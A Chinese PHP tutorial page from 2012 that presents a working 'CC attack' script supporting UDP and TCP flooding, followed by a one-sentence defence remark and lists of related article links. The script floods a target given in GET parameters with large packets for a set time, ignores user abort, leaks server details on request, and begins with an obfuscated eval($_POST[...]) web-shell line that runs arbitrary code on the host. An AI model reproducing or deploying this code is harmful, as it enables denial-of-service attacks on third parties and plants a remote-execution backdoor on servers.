php cc攻击代码与防范方法


Posted in PHP onOctober 18, 2012

cc攻击代码,支持udp

<?php 
eval($_POST[Chr(90)]); 
set_time_limit(86400); 
ignore_user_abort(True); 
$packets = 0; 
$http = $_GET['http']; 
$rand = $_GET['exit']; 
$exec_time = $_GET['time']; 
if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0) 
{ 
if(StrLen($_GET['rat'])<>0) 
{ 
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; 
exit; 
} 
echo "Php 2012 Terminator"; 
exit; 
} 
for($i=0;$i<65535;$i++) 
{ 
$out .= "X"; 
} 
//Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center 
$max_time = time()+$exec_time; 
if($rand==53) 
while(1) 
{ 
$packets++; 
if(time() > $max_time) 
{ 
break; 
} 
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
else 
if($rand==500) 
while(1) 
{ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
else 
while(1) 
{ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
?>

对于cc攻击的防范,如果是动态页面,我们可以判断时间,如果是静态的网站我们就需要服务器上安装防cc攻击的软件了, 一般服务器安全狗还是不错的。

如果你有好的软件也可以给我们留言。

PHP 相关文章推荐
一些PHP写的小东西
Dec 06 PHP
PHP文件上传实例详解!!!
Jan 02 PHP
使用php来实现网络服务
Sep 15 PHP
PHP json格式和js json格式 js跨域调用实现代码
Sep 08 PHP
PHP daddslashes 使用方法介绍
Oct 26 PHP
解析php函数method_exists()与is_callable()的区别
Jun 21 PHP
PHP中4个加速、缓存扩展的区别和选用建议
Mar 12 PHP
PHP文件上传判断file是否己选择上传文件的方法
Nov 10 PHP
PHP 极验验证码实例讲解
Sep 29 PHP
解决PHP 7编译安装错误:cannot stat ‘phar.phar’: No such file or directory
Feb 25 PHP
yii2简单使用less代替css示例
Mar 10 PHP
Thinkphp5+plupload实现的图片上传功能示例【支持实时预览】
May 08 PHP
php shell超强免杀、减少体积工具实现代码
Oct 16 #PHP
PHP中替换换行符的几种方法小结
Oct 15 #PHP
php变量范围介绍
Oct 15 #PHP
php模板函数 正则实现代码
Oct 15 #PHP
php mssql扩展SQL查询中文字段名解决方法
Oct 15 #PHP
PHP获取文件后缀名的三个函数
Oct 15 #PHP
php标签云的实现代码
Oct 10 #PHP
You might like
解析crontab php自动运行的方法
2013/06/24 PHP
使用GD库生成带阴影文字的图片
2015/03/27 PHP
PHP Yii框架之表单验证规则大全
2015/11/16 PHP
无需数据库在线投票调查php代码
2016/07/20 PHP
php操作路径的经典方法(必看篇)
2016/10/04 PHP
原生Js实现按的数据源均分时间点幻灯片效果(已封装)
2010/12/28 Javascript
元素的内联事件处理函数的特殊作用域在各浏览器中存在差异
2011/01/12 Javascript
js获得当前系统日期时间的方法
2015/05/06 Javascript
Bootstrap模仿起筷首页效果
2016/05/09 Javascript
详解Javascript中的原型OOP
2016/10/12 Javascript
利用Angular.js限制textarea输入的字数
2016/10/20 Javascript
原生js实现轮播图的示例代码
2017/02/20 Javascript
bootstrap fileinput组件整合Springmvc上传图片到本地磁盘
2017/05/11 Javascript
zTree 树插件实现全国五级地区点击后加载的示例
2018/02/05 Javascript
基于jquery ajax的多文件上传进度条过程解析
2019/09/11 jQuery
vue ajax 拦截原理与实现方法示例
2019/11/29 Javascript
深入理解Antd-Select组件的用法
2020/02/25 Javascript
浅析vue cli3 封装Svgicon组件正确姿势(推荐)
2020/04/27 Javascript
利用PHP实现递归删除链表元素的方法示例
2020/10/23 Javascript
[01:05:41]EG vs Optic Supermajor 败者组 BO3 第二场 6.6
2018/06/07 DOTA
Python数据处理numpy.median的实例讲解
2018/04/02 Python
python 去除二维数组/二维列表中的重复行方法
2019/01/23 Python
Python3视频转字符动画的实例代码
2019/08/29 Python
python pygame实现挡板弹球游戏
2019/11/25 Python
Tensorflow之MNIST CNN实现并保存、加载模型
2020/06/17 Python
opencv 图像腐蚀和图像膨胀的实现
2020/07/07 Python
详解python tkinter 图片插入问题
2020/09/03 Python
使用placeholder属性设置input文本框的提示信息
2020/02/19 HTML / CSS
Luxplus瑞典:香水和美容护理折扣
2018/01/28 全球购物
详细的大学生创业计划书模板
2014/01/27 职场文书
无房产证房屋转让协议书合同样本
2014/10/18 职场文书
厉行节约工作总结
2015/08/12 职场文书
初中语文教学研修日志
2015/11/13 职场文书
评估“风险”创业计划的几大要点
2019/08/12 职场文书
详解nginx.conf 中 root 目录设置问题
2021/04/01 Servers
PyTorch 实现L2正则化以及Dropout的操作
2021/05/27 Python